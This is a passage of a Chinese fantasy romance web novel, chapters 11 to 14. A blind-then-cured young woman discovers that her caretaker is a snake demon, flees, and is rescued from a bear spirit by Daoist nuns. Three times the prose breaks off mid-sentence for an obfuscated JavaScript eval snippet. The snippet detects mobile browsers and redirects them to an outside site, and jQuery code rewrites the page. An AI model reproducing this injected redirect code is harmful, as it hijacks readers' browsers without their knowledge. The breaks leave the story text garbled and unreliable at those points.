她一口气堵在喉咙里,几乎窒息。
一截粉白粉白的蛇尾尖,正懒懒搭在桶沿外,有一下没一下地轻拍着水面。随着它的动作,桶里的热水便哗啦啦漫出来,沿着木桶外壁往下淌。
那副情状,仿佛桶里盘踞着的不是一双人腿,而是数丈长无处安放的蛇身。
小檀无声的“蛇妖”口型,此刻如惊雷般在她脑中炸开。
原来她没看错。
即便隔着薄纱帐影影绰绰,池未也已万分确定,萧衍仪是蛇妖。
且定是道行极深的大妖,否则怎能二指虚空一划,便将那吃人的海妖斩成数段?
正惊疑间,闭目养神的萧衍仪忽然眉头一蹙,像是忍着极大的痛楚,偏头吐出一口血来。
那血……竟是赤金色的。
她受伤了?
池未看得入神,却见萧衍仪微微抬起脸,目光仿佛穿透纱帐,直直朝这边望来。
她吓得立刻紧紧闭眼屏住呼吸。
第一眼销魂。
第二眼断魂。
池未不敢再睁眼,脑子里下意识想到的是该如何逃离。
萧衍仪说她自己是大户人家的姑娘,而她是萧衍仪的家奴。大户人家的姑娘又怎么会是妖?
这时她无比地想念辛戎道长,再联想到那一晚辛戎道长忽然间无声无息,萧衍仪说辛道长是喝多了,可现在回想那晚吃饭桌上好像根本就没有酒味。
莫不是被小檀和她的蛇妖夫人给……害死了?
闭着眼睛的池未眼皮一跳。
紧接着又联想到那小檀难不成也是个小蛇妖,但瞧着她刚刚乞求萧衍仪救人的模样,又不像是个坏妖。
算了,算了。
无论如何,还是找机会赶紧逃走为妙。
不管萧衍仪是善是恶,她终究隐瞒了自己。若非居心叵测,又何须欺瞒至此?
正心乱如麻间,她听见萧衍仪似乎有些不适,对方身上似乎带着旧伤,吐出一口血后,缓缓从浴桶中起身,中间还压抑地咳了几声,才慢慢走到床边。
不同于往日越过池未睡在床里,萧衍仪直接躺到了池未的怀里。
阵阵幽香直往池未的鼻息钻,她在脑海中不住地提醒自己。
萧衍仪是妖!
萧衍仪是蛇妖!!
救命啊!!!
但另一方面又总是冒出萧衍仪对她照顾有加的模样,让她觉得萧衍仪不会害她。
对方温热又柔软的身子贴在她身上,灼热的吐息拂过颈侧,带起一阵阵酥麻的痒意,悄然蔓延至四肢百骸。
“小池,你睡了吗?”萧衍仪的一缕发丝落在池未颈边,她痒的不得了,很想轻轻挠上一下,但又不敢说自己没睡。
她怕被萧衍仪吸光了精气。
脸颊忽地一暖。
是萧衍仪在轻吻她的脸。
“只要能治好你,就算拿我的命去换,我也甘愿。”
那声音里浸着化不开的哀伤,听得池未心口蓦地一酸。
池未最终也没有睁开眼,她不知道该怎么面对萧衍仪是妖的这个事实。但好像也没有再那么害怕对方。
她脑子里乱得很,一想到怀里的柔软是一条大蛇所化,就怎么也睡不着。
一直等到怀中的人呼吸渐渐平稳,池未才缓缓睁开眼睛。
萧衍仪似乎有心事,就算是睡着了,脸上也带着一副哀愁的模样。
海上夜里寒凉,今夜的她竟未着寸缕。温软的身子毫无阻隔地贴在怀中,触感实在太过清晰。池未只觉脸上发烫,喉咙干得发紧。
再这样躺下去,她只会更难受。
她想起身喝水,轻轻推了推熟睡的人。对方消瘦的肩露在被子外,掌心触及之处,肌肤凉得惊人。
池未无法,只得悄悄往外挪。
才刚一动,压在腿上的重量骤然起了变化,温软的腿变成了微凉、坚硬的触感。
被子被什么东西顶开了。
借着帐外朦胧的光,她看到粉白粗大的蛇尾在床上面盘了几圈,又顺着她的脚踝小腿蜿蜒着往上爬到大腿,最后整条腿骤然一紧,尾巴尖一落……
池未的脸腾地红了。
她微微挪动腰肢,想避开萧衍仪尾巴落在那个羞人的地方。
却因为尾巴将她的腿缠住,挪来挪去都不起什么作用,触感反而还更加奇怪了。
怕吵醒对方,池未不敢再动,她还没准备好赤身裸体的萧衍仪用蛇尾将她团团缠住的时候,聊她怎么是个妖这个话题。
再低头一看,萧衍仪的脸红得有些不对劲,她用手背轻轻贴了贴,烫的厉害,记得萧衍仪畏冷,她往上扯了扯被子,盖住了对方露在外面的肩膀。
尽管池未动作已放得极轻,还是惊动了怀中人。
萧衍仪低低哼了一声,在她怀里无意识地蹭了蹭,换了个更贴合的姿势。
而那不安分的尾巴尖也随之滑移往下挪了三寸,落得到一处安全的位置。
月亮慢慢下落,池未在震惊和纠结中也昏昏沉沉睡了过去。
醒来时,怀里的柔软早就不见踪迹,可腰腿酸痛的感觉却提醒着她,昨夜夫人变蛇妖的事不是假的。
不知道是不是昨夜被萧衍仪缠得紧了,整条右腿还有些发麻。
“你终于睡醒了,昨夜睡得可好?”
才一坐起身,池未就看到萧衍仪迎面朝着床的方向走来。
她没忘记自己现在应该是个瞎子,僵笑着扶着床架起身:“好,好的不得了。”
萧衍仪托住她的手臂,引着她往桌边走去。
不同于以往的粗茶淡饭,今天
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116992|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的早餐格外丰盛,不但有鱼有肉,就连水果都放了一盆在旁边。
小檀蹦蹦跳跳地哼着不知名的歌进来,看起来心情格外愉悦。
“哇!这么多好吃的。”她一进屋便撕了块饼下来,嘴里含糊不清地嘟囔着,“船老大说好多人受伤,今天中午要靠岸一个时辰,下船去买些药品。”
萧衍仪淡淡扫了池未一眼,什么也没说,舀了碗白粥送到池未手里。
池未手抖的厉害,怕多说多措就更不敢说话了。她现在眼睛好了,还要装盲人,本来就够有难度的了。
“你们两个怎么哑巴了?有没有什么要买的,咱们可以一起下船去溜达溜达,我都要在这船上憋疯了。”
靠岸一个时辰,池未说不定可以借机逃走。
不管萧衍仪是好妖坏妖,隐瞒她这件事终究是事实。
池未垂眸,心中默默盘算。
“不去?那算了。罗涵给了我两本话本,我在船上看看也行。”昨日已央着萧衍仪救过人,小檀也不好再提别的要求。
萧衍仪静静用着粥,不置可否。
“我倒有些东西想买。”池未有些急了。若都不下船,她怎么逃?
“想买什么?”两人同时开口,语气却迥异。
萧衍仪声线淡漠,小檀却满眼好奇。
目光齐齐落在身上,池未端碗的手几不可察地一颤:“想……想去给夫人挑身裙子。上回小檀走丢那次,便想着送夫人衣裙的,后来闹了场误会,也没买成……”
“不必,我衣裙很多。”萧衍仪静静看着她。
“可夫人为我做了这么多,我也想为你做点什么……若夫人不喜,便算了。”她放下粥碗,眉眼低垂,难掩失落。
“时辰太短,怕是来不及量体裁衣。”萧衍仪低笑了一声,不知为何池未觉得她像是在自嘲。
“哎呀没事!我可以让罗涵多停两天,在这儿休整休整……”小檀话未说完,便挨了萧衍仪一记冷眼,赶忙低头扒饭,不敢再吱声。
“不是还有成衣可买么?去挑挑看也好。”池未轻声道,“我总想着,眼睛好那日,若能看见夫人穿一身红裙,定是极美的。”
萧衍仪闻言搅粥的动作一顿:“你喜欢红色?”
池未点头:“总觉得夫人这般明艳的人,合该配红色。”
最终,三人还是下船了。
萧衍仪从房门走出时,船上的人看到她纷纷避让低头屏住呼吸让路。
既是尊重又是因为害怕她的实力。
只有罗涵大着胆子过来询问萧衍仪有何要求,得知要去买衣服,便给三人指了个方向。
池未全都看在眼里,一时间心情有些复杂。
别人对萧衍仪奉若神明,她却一心想着要逃。
怀着这种复杂的心情,萧衍仪很快带她找到了那家绸缎庄。
店里恰好悬着一袭做工极精巧的红裙,裙身是轻软的软烟罗料子,朦胧纱面上织着细密缠枝莲暗纹。
这衣服确实漂亮,池未也觉得若穿在萧衍仪身上,定能为她那本就秾丽夺目的容貌,再添上几分惊心动魄的妖冶与华贵。
可她注定是看不到了。
萧衍仪提着那袭红裙,缓步走向试衣的里间。行至门前,她不忘驻足回身朝池未的方向浅浅弯了弯唇角:“小池,你在外面等我。我很快就好。”
12. 第 12 章
门帘落下,将萧衍仪和池未隔绝开来的一瞬。
小檀在一旁拨弄着衣服:“阿池,你喜欢什么颜色的,我也帮你挑一件。”
池未不语,小檀朝她看去。
两人目光相交,小檀先是一怔,而后很快意识到池未竟然能看的见了。
她眼睛一亮,嘴角刚刚往上翘了一点。
忽然,池未大步走过,一把从她怀里把装钱的袋子夺了过去。
池未一边掏钱,一边紧张地看着小檀。
小檀茫然无措:“你在干嘛……”
“我先走了,后会无期。”池未掏出了三十五两银子急匆匆说完,随手扔了五两到小檀怀里,抱了个拳,转身大步出了门。
走出门外,池未随手抓了个路人急切问了何处可以买到马匹,便匆匆朝着北边跑了。
转角处,似乎感觉到小檀在看她,回头看了一眼对方,小檀站在绸缎庄门口,面上表情还有些发懵。
她们两个都是妖,应该用不上这么多钱吧。
池未心一狠,转过弯离开了。
小檀站在绸缎庄外揉了揉眼睛,还是不敢相信池未的眼睛怎么突然就好了。
就在她正想着要不要追上去问个明白时,身后却响起萧衍仪平静的声音:
“结账吧,小檀。”
小檀转身指向门外,欲言又止:“池未她的眼睛……”
“应该是散功的药材,阴差阳错解了我的毒。”避开小檀的视线,萧衍仪转身回了绸缎庄内。
竟然有这么巧的事?小檀止住了话头,转向掌柜:“这裙子多少银钱?”
绸缎庄的掌柜还没从刚才那场自己人打劫自己人的戏码里回过神来,愣了一愣才伸出五根手指,顿了顿,又默默收回一根:
“四两……四两就够了。”
池未一路狂奔到北市,气都没喘匀就挑了匹健壮的马想要继续逃,结果一问价格马贩子亮出了五根手指。
“啥?一匹马要五十两纹银?那再给我找匹便宜的。”
老板引着她来到角落指着一匹正在吃草的马:“最便宜的那就这匹,三十两。”
池未一看,满身黄黑杂毛,头大身子小的,满脸掩不住的嫌弃。
“得了,瞧你那样也买不起。那边有卖驴的,您去瞅瞅吧。”说完又过来了位衣着光鲜的客人,马贩子把池未晾在一旁,笑脸迎了上去。
池未叹了口气,没料到这年头的牲畜行情这般金贵,只得转身走到驴贩子那儿。
一番讨价还价,最终花去五两银子,才牵走一头瞧着还算健壮的青毛驴。她翻身上驴,攥紧缰绳,便朝城外方向赶。
出城路上,见道旁有蒸笼冒着热气,她又掏出三十文钱,买了十个素馅包子揣进包袱。
驴蹄嗒嗒,离城渐远。可不知为何,自打上了官道,池未总觉得有道视线如影随形,黏在脊背上似的。夜里投宿荒村野店,她也睡不踏实,稍有风吹草动便惊醒过来。
她心里暗自盘算:萧衍仪若发现她逃了,定料不到她敢再往南走。说不定她们追出一段,寻不见人,便折回渔村去了。
毕竟在池未自己看来,她浑身上下实在没什么值得那位蛇妖执着不放的。
如此一连三日,她白日里只管埋头赶路,入夜后则警醒着寻些荒村破庙露宿。偶尔夜晚睡不着时,也会猛然想到萧衍仪这时会在做什么呢?
这日,包袱里那几个素包子早已吃尽,身下这头倔驴也累得狠了,步子越拖越慢,舌头长长地耷拉出来,呼哧呼哧喘着粗气。
午后,日头正毒,晒得道上的黄土都微微发烫,热气蒸腾上来,惹得她整个人口干舌燥,心口也莫名一阵阵发慌。
远远望见前头道边支着个简陋的野摊,布幌子上隐约是个“面”字。池未赶忙扯住缰绳,将驴牵到一旁树下拴好,又舀了水给它。这才疾步走到摊前,对正在休息的老妇人道:
“劳烦,一碗阳春面。”
“煮好了麻烦过下凉水。”
老妇人上下瞄了她一眼,满意地点头应道:“哎,好嘞,您稍等。”
池未顺手拿起老妇人放置一旁的蒲扇,扇着风走到棚子里坐下,整整灌了两杯凉茶下肚,这才缓过气来。
不一会儿,面上来了。
她一口气吃了半碗,才想起此地前不着村后不着店,除她就没见到第二个客人,怎么会有人在这里卖面呢。
莫不是个黑店?
她刚刚忘记问价格了,一会儿可别狮子大开口。
“店家,您这阳春面多少钱一碗啊。”
店家老婆婆转头朝她露出一个和蔼的微笑,黑黝黝的面孔上,满脸都是褶皱:“不贵不贵,也就十文钱一碗。”
确实不贵,这荒郊野外的,算是很实惠了。
但就是这面越吃,身子却越沉。半碗入腹一股难以抵挡的困意从四肢百骸漫上来,眼前景物也开始模糊晃动。
“哐当——”
她手臂一软,竹筷落地。紧接着整个人像被抽了骨头,从条凳上直直栽了下去。粗陶碗砸在地上裂成几瓣,面汤泼了一地。
意识彻底陷入黑暗前,池未模糊的视野里,只映出那黝黑干瘦的老太太身形诡异地膨胀、扭曲……竟化作一头浑身黑毛、人立而起的巨熊。
血盆大口近在咫尺,毛刺刺的舌头上涎水滴答,正朝着她,咧开一个贪婪的笑。
***
“啊——!”
半个时辰后,池未猛地从地上翻身坐起。
记忆里那头骇人的黑熊精已然消失,眼前凑近的,竟是个满面笑意、肤色微黑,发髻上插着一根白玉簪子的道长。
“真巧啊,你……你叫什么来着?”
“池未!”
“对对对,池未!没想到在这儿又碰见你了。”
这声音实在耳熟,池未遇到过的人又没有几位,眼前倏地一亮:“辛戎道长?”
“正是贫道!”辛戎抚掌而笑,目光在她脸上转了转,“你的眼睛好了?真是有缘……有缘啊!”
池未撑着站起身,这才看清周遭情形。
辛戎与几位身着同样青灰道袍的同门,竟都围坐在这荒郊野岭的茶摊里。空气中弥漫着一股浓重的血腥气,她蹙眉嗅了嗅,循着气味望去,只见一丈开外,赫然躺着一头两人多高的巨熊。
那黑熊整只已被锋利的利刃分尸,那死法何其眼熟,差点池未就以为是萧衍仪救的她。身上毛皮都被剥下大半,三个面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116993|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
容清秀的年轻道士正挽着袖子,继续利落地处理着。场面颇有些触目惊心。
池未微微侧开视线:“这是……?”
“不就是方才险些将你舔了去的黑熊精么?”辛戎见她无碍,便转身走回那口热气腾腾的大锅旁,一边下面一边说道,“如今世道不太平,妖魔横行。若非我们师姐妹几人追捕一条蛇妖路过此地,你今日怕是要香消玉殒喽。”
“多谢各位道长。”听着实在心惊,池未跟着走到锅边,对路过的几位道长颔首致谢,目光又落回熊尸上,轻声问:“既已除妖,为何还要剥它的皮?看着实在有些血腥。”
“行走在外,身上没些银钱怎么成?前几日我就……哎不提。”辛戎搅动着锅里的面,说得理所当然,“这黑熊精约有三百年道行,皮毛能卖个好价钱,骨头还能入药。够我们师姐妹一行人吃用月余了。”
“原来如此,多谢辛戎道长救命之恩。”池未恍然,再次谢过辛戎。
见辛戎忙得腾不开手,她便自然接过了对方手中的长筷,帮着捞起锅中熟透的面条。
“小事一桩。”辛戎摆摆手,打量着她,话锋忽转,“不过,你的眼睛究竟是如何好的?你那夫人与,妹妹怎未随行?先前不是说要往南方求医么?”
池未捞面的手微微一顿。
说起萧衍仪与小檀,她原以为辛戎道长早已遭了二人毒手,如今看来,竟是她多虑了。
正踌躇着该如何解释她夫人与妹妹实为妖这荒唐事。
突然,辛戎指着不远处的林子惊呼:“哎!刚说到你夫人,你夫人就过来了。”她轻轻撞了一下池未的肩膀笑道。
池未心头一跳,顺着她所指的方向看去,萧衍仪同时望向她,不敢直视,她立马转头背过身去。
辛戎不明所以,明明前几日两个人还如胶似漆的。
“怎么?吵架了?”
池未背身摇头。
“分开了?和离了?”
池未顿了顿,极轻地点了下头。
辛戎低声劝着:“有什么不能忍的,再说你夫人还长得那么漂亮。”
池未一脸为难,死活不肯转身。只听到身后响起萧衍仪清冽的声音:“几位道长,小女子身无分文,能否厚着脸给我妹妹蹭碗面吃?”
身无分文?她不是给小檀留了五两银子吗?
一想到自己做出抢小孩子钱的事,池未就脸热得厉害。
辛戎了然一笑,只当是夫妻闹别扭,迎上前道:“几日不见,小檀出落得更灵秀了。说来还未谢过萧姑娘上回款待。这面摊是我们师姐妹刚接手的,食材是那边那头黑熊精的,容我借花献佛,给您二位下碗面。稍候片刻。”
萧衍仪回以一笑,目光却若有似无地掠过池未僵直的背影。
池未杵在锅边,指尖捏得发白。说,还是不说?
肩头忽然被辛戎用力一拍:“快给你夫人和妹妹下碗面!俗话都说,床头吵架床尾和,差不多得啦。”说完便转身要去照料马匹。
床尾和?
霎时,萧衍仪那长满粉白鳞片长又粗的蛇尾又浮现眼前。
池未的拳松了又紧,终于在辛戎转身之际,一把攥住了她的袖口:“道长,请留步。我有要事相商。”
13. 第 13 章
看着池未拉着辛戎走到旁边的角落里。
小檀双手撑在桌上,头抵掌心,暗自祈祷不管池未看到了什么,可千万别把萧衍仪的事告诉给那些道士。
不然这黑熊精的仇人马上就要下九泉去陪它了。
“辛道长,我听你刚刚说你们一行人是追着一个蛇妖过来的?那蛇妖可做了什么恶事?”池未拉着辛戎远远走到一棵树下问出心中疑惑。
“没错啊,那蛇妖……你一个普通人,问这些东西干什么?”辛戎不想跟她浪费时间,说了只怕池未夜里会睡不着觉。
“这不是咱们又遇上了,那说明那蛇妖肯定也在这一带啊,我害怕撞上。要是真是个坏的,我好早点跑,离开这一带。”见辛戎似乎有些着急收拾东西,池未话音一转又道,“抑或辛道长神通广大,带我走上一段路,等到了人烟多的地方,我再离开。”
“哈哈,你倒是个聪明的,尽管跟在我身边就是,有我师傅在前头等着咱们,无碍的。”听着池未的话舒服,辛戎也愿意再跟她多聊上几句,“那蛇妖在陵县修炼妖法屠了一个村,真要是让你碰上了,赶紧跑跑不掉就下跪求饶。”
“说来也巧,那陵县就在你们烟波港附近几十里处。”
“一个村子?那不得死了几十人?”池未惊呼道。
“岂止啊,一百有余。”
萧衍仪这么厉害,能是辛戎道长解决的了的吗?
“行了,你们一家三口就放心跟着我吧,等到了前头和我师傅汇合之后再走,你们就安全了。”
辛戎留下这句话之后就离开了。
池未想了想到底还是没有把萧衍仪是妖的事实说出来,她觉得辛戎和萧衍仪尚不可知谁比较厉害些,可别因为她一句话害得这些人丢了性命。
以不变应万变吧。
她将煮好的面端至萧衍仪面前桌上,萧衍仪抬眸淡淡一瞥,两人之间便只剩沉默在无声对峙。
终究是池未先败下阵来。
她在萧衍仪对面坐下,倾身向前,压低嗓音:“你们到底想怎样?我告诉你,辛戎道长法力高深,方才那只五百年道行的黑熊精便是她降伏的。若识相,便赶紧离开。看在你们治好了我眼睛的份上,此事可就此作罢。”
一旁的小檀“噗嗤”笑出了声,被萧衍仪一瞥,又赶紧抿住嘴。
“不做什么,”萧衍仪端过面碗,慢条斯理地挑起一筷,“是来护你周全的。”
“护我周全?”池未冷笑,“既如此,为何一直隐瞒你是蛇妖的事?实话告诉你,辛戎道长的师尊就在前方压阵,稍有风吹草动便会赶来。若不怕死,便速速离去。”她岂会相信从一开始就满口谎言的妖,能存什么好心?
萧衍仪咽下一口面,语气平淡:“你既想玩,我便再陪你多玩一会儿,玩到你愿意回来为止。”
“真是敬酒不吃吃罚酒!”池未倏然起身,撂下这句硬话便拂袖而去。临走前,掌心在桌面轻轻一按,留下五两银子。
这两个妖精连碗面都吃不起了,花钱如此大手大脚。看来妖想攒钱,也并非易事。
这三十两银子终究是她与小檀一同挣的,无论如何也有对方一份。总不能让这俩妖精因身无分文,便动念去为恶害人,那她岂不是成了罪人。
小檀只吃了半碗面,便恹恹地放下了筷子。
没有肉,终究是少了些滋味。
“她方才到底在说什么呀?”小檀晃着腿,小声嘀咕,“那大黑熊明明才三百年道行,那群道士不会连这都瞧不出来吧?”
萧衍仪的碗里倒已干干净净。她放下筷子,神情间似乎还有些意犹未尽:“她吹牛唬你,你都听不出来?真不知你是真傻,还是装傻。”
小檀晃悠的腿停了一瞬,歪着头问:“那她既然要吓唬我们,为什么不干脆叫辛戎道长来抓我们?难不成……”她眼睛忽地一亮,语气里带上了促狭,“她心里其实有你?咦……真是搞不懂,明明都知道你是妖了。”
这话说得萧衍仪微微一怔。
她下意识抬眼,望向不远处正低头给驴添草的池未。那人侧影单薄,动作却仔细,碎发被风吹得轻晃。萧衍仪望着,竟一时忘了挪开视线。
她原本笃定地想,池未那样说,无非是怕辛戎她们打不过自己,反遭不测。可被小檀这么一点破,心口那杆秤,却不由得往另一头悄悄偏了几分。
过了中午最热的时候,辛戎等人休整好之后,一行人便又朝着城里的方向出发了。
池未牵着毛驴紧紧跟在辛戎身边,她眉头紧皱着,不时朝后看上一眼,身后的一大一小就在队尾跟着。
每每回头,萧衍仪便对她施以一个浅浅的微笑,小檀也学着萧衍仪对她笑,热情洋溢没心没肺,池未不敢多看,立马回头。
那些道士从辛戎那儿听说了池未与萧衍仪的关系,沿途便免不了打趣几句。
这个说:“床头吵架床尾和,没什么过不去的坎儿,就别同你家夫人置气了。”那个接话:“这大热天的,人家带着孩子一路跟着你,多痴心呐!”
痴心?
池未可不这么觉得。
听过辛戎讲起蛇妖的习性后,她认定萧衍仪缠着自己,无非是想吸取精气。
至于为何不找别人,许是嫌旁人样貌不合心意,又不如她干净。否则,当初在船上为何日日费好些银子让她泡澡?
面对这些调侃,她也只是苦笑摇头,不愿多言。
旁人还想再问,她便背过身去,长长叹一口气。众人见她神色黯然,又细瞧小檀那张与池未全然不似的灵秀脸蛋,也就讪讪地住了口,还当萧衍仪是带着孩子跟着池未,而那孩子并非是由池未生的,全都误会了。
不过半日,这群道士心中对那位“貌美夫人”的观感,已悄然转了风向。
途经一条大河歇脚时,池未正蹲在河边灌水囊。一个听了一路闲话的道士凑过来,压低声音安慰道:“我娘早就说过,生得太美的女人信不得。池未,你可真是受苦了。”
辛戎就站在近旁,闻言抬脚便轻踹了那人一下:“慎言!非礼勿言的道理懂不懂!”
说罢便赶紧拉着那个不开眼的小道士走开了。
池未根本就没懂那道士内里深藏的含义,自然也不做回应,灌满水囊,刚要起身,余光却瞥见身后不知何时已静静立了个人影,惊得她手一抖,险些将水囊摔落。
萧衍仪神色有些怪异,声音也低:“你……便是这般同外人说我的?”
“你说什么?”池未不解其意,侧身便想绕过她离开。
“你可知女子清誉有多要紧?”萧衍仪没有拦她,只是声音不似以往平静,听得出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116994|195928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几分压着的低落,“若今日这些不是道士,而是街坊邻居,单凭那些闲话,便足以用唾沫将我淹死。”
池未抿了抿唇。她实在无法相信,一个能屠尽整村的妖,会在意什么“贞洁名声”。不过她确实不懂萧衍仪在说些什么。
“你的清誉跟我有何干系?”池未停住脚步,转过身来,清了下嗓子,目光紧紧盯住她,“我和你之前并没有发生过什么实质关系吧?”
话一出口,她自己先绷紧了呼吸,藏在身后的手将水囊攥得死紧。话虽然这么说,但她确确实实和萧衍仪同床共枕了几日,期间萧衍仪咬她吻她,说到底也是她的精气吃亏了。
萧衍仪眼睫倏地一颤,竟微微垂下了视线。
池未捕捉到这一瞬的躲闪,心里那股憋闷忽地涌上,变成一股莫名的底气。她向前逼近两步,直直望进对方闪烁的眸子里:“只不过一起睡过几晚,你就当做从没发生过吧,我不和你计较,你也别再追着我了。”
被欺瞒的感觉并不好受,心口像被什么东西硌着,又涩又闷。
她不想再待下去,转身就要走。
鞋底碾过河滩碎石的细响中,身后传来萧衍仪低低一声:
“就算如此,你就可以任由那些道士说小檀是和与别人生的女儿,追着你不放吗?”
池未脚步一顿,却未回头径直往人群去了。既然萧衍仪在意这个,那她正好也不做解释了,最好早早把她气走。
接下来的路程,再没遇到什么妖魔鬼怪。
萧衍仪也没再来找池未。
一大一小只是远远跟在队伍后头。只是自日头西斜起,山间寒气便重了。
但不知为何法术高强的萧衍仪走路有些一瘸一拐的。
该不会是受伤的缘故吧?
眼看离出山的路不知还有多远,身后那两道身影,已落得越来越小。
分明是想甩开这两只妖的,可池未心里又莫名揪着,怕她们离了队伍,在这深山老林里遇着什么不测。
……定是那两人柔弱外表太具迷惑性了。真是烦透了。
她走到辛戎身边,刚要问到底何时才能赶到城里,就望见前方山道拐弯处,静静立着一间破庙。话到嘴边,又咽了回去。
同样看到破庙的辛戎已扬声招呼众人:“前头有座庙,今晚就在那儿将就一宿吧!明日午前定能进城,辛苦各位师姐妹将就一晚了。”
“这山林有些古怪,切记夜里勿要出庙,就算是出恭也最好两人一起。”
一进破庙,道长们便各司其职。拾干草的、生火做饭的,忙而不乱。池未不好偷懒,也挽起袖子帮着洗菜添柴。
待到山里采来的野菜、蘑菇都已收拾干净炖进锅里,她才得了空直起身,四下望去。
那两只黏人的妖精,怎么不见踪影了?
她拉住身旁经过的人:“一直跟着我的那一大一小,你可瞧见了?”
对方摇摇头走开。
又接连问了几人,都说:“好像打从一开始就没进庙里来?这深山野岭的,要不要我们出去帮你寻寻?”
池未一边摇头说着“不必”,一边心想:走了才好。
可直到粥味浓郁扑鼻,那两人仍没露面。
她望着庙门外渐浓的夜色,心里那点说不清道不明的焦躁蔓了上来。
14. 第 14 章
就在池未站起身,准备出去找些水喝时,破庙门口终于出现了一大一小的身影。
只瞥了一眼,她便又坐了回去。
这两人倒真能折腾,黑灯瞎火的,竟不知从哪儿弄回一只野鸡来。方才匆匆一瞥,那鸡已是光溜溜的,想必早就在河边收拾干净了,定是小檀那馋嘴的丫头,中午那碗素面没能解她的肉瘾,这才缠着萧衍仪陪她进山抓鸡,耽误了这么久。
这深山老林里精怪遍布,人外有人,妖外更有大妖。萧衍仪生得那样一副容貌,万一被哪个山精野魅掳了去,强押着做压寨夫人,岂不危险?
不过,这跟她又有什么关系。
池未心道自己真是爱瞎操心。
萧衍仪和小檀借了辛戎师妹烧起来的火,将那野鸡烤了。
一众人早就累得不行,吃的全都是菜粥,闻着这个味,顿时觉得菜粥不香了。
那野鸡被烤得金黄,肉皮酥脆往下淌油,油点子落进火里,“腾”地一下,火焰便往上窜一窜,再撒上些盐巴,就更馋人了。
池未失明过鼻子本就好使,闻着那烤鸡味直往鼻子里窜,三日来吃了十个素包子和一碗阳春面再加上刚刚的素粥,她肚子里早就一点荤腥都没有了。
不知道是不是她朝那烤鸡看的久了,被萧衍仪察觉到,微微侧头朝她的方向转头,她一见对方有动作立马背过身去,眼不见心不馋。
明天就能进城里了,她手里还有二十两银子,到时候吃啥不行?才不会被个破烤野鸡馋着呢。
又是一碗菜粥下肚。
没饱……
白日里消耗体力太多了,两碗碗粥根本顶不了什么事,可辛戎十几个师姐妹似乎也没什么粮了,只够一人一碗粥的,她这多出来一碗,已经是看在辛戎在她家蹭过一顿饭的缘故了。
再闻着身后的香味,池未忍不住吞了吞口水。
怎么这么香啊!
一定是萧衍仪烤的吧。
忽然,肩膀一沉。
池未转身,竟不知萧衍仪什么时候走过来站在她的身后。
“有些话想和你说,可以出去一下吗?”
庙内尚有旁人,小檀还在一众道士中间坐着,池未倒也不担心她会做什么,自己也正好有话想劝。她便点点头,随萧衍仪一同步出破庙。
两人离开破庙并行往外散步,直到走到河边的位置,萧衍仪才停下脚步。
池未先她一步开口:“明天到了城里就会和辛戎的师尊碰面了,她师尊乃是一观之主,我劝你还是别再跟着我们了,不然她师尊把你收了可不要怪我。”
“你是在担心我吗?”萧衍仪嘴角微微扬起,朝池未的方向走了一步,“跟我回家吧,小池。你想想相处的这几个月里,我可有伤过你害过你?”
“才没有担心你。就是看在你没有伤我份上,才好心提醒你,你不听就算了。”池未往后退了两步,脚后跟踢到一根凸起的树根,瞬间失去重心往后摔去。
好在身后便是棵老树,她踉跄着退了两步,后背沉沉地抵上粗糙的树干,这才勉强稳住身形,没摔得太狼狈。
只是才刚站稳,萧衍仪便紧跟着追近两步,停在了她面前不过一臂之遥的地方。她什么也没说,只将一直背在身后的手伸到池未面前,缓缓打开掌心里托着几片洗净的宽大绿叶,而叶子上躺着的,赫然是那只馋了池未整整一晚上的、金黄酥香的烤鸡。
“山里的野鸡,比家养的更香些。要不要尝尝?”萧衍仪声音柔和。
池未微蹙着眉把挡在头上的手讪讪放下,她原以为萧衍仪过来是要对她做什么,却没想对方只是想把烤鸡分享给她。
“没毒的。”萧衍仪拈起一块,自己先轻咬了一口,随后便顺势坐在了裸露的粗大树根上。
池未的心情很复杂,一方面对方好像真的没有做什么伤害她的事情,一方面又觉得萧衍仪隐瞒她是妖的事实,肯定不对劲。
更别说对方还屠了一个村子。
“因为第一次,也就是你没有失忆之前,发现我有蛇尾之后,很长很长时间都没有再理过我。我很害怕,所以我很担心你会和上次一样。”萧衍仪仰头看着池未,她的声音很平静,但池未能够感受到对方说这件事的时候,心底似乎很悲伤。
池未叹了口气,坐在萧衍仪对面的树根上。
“我并没有讨厌你的蛇尾,相反我觉得它反而很漂亮。”她拿起绿叶上的一根鸡腿咬了一口,肉汁醇香,终于……终于解馋了。
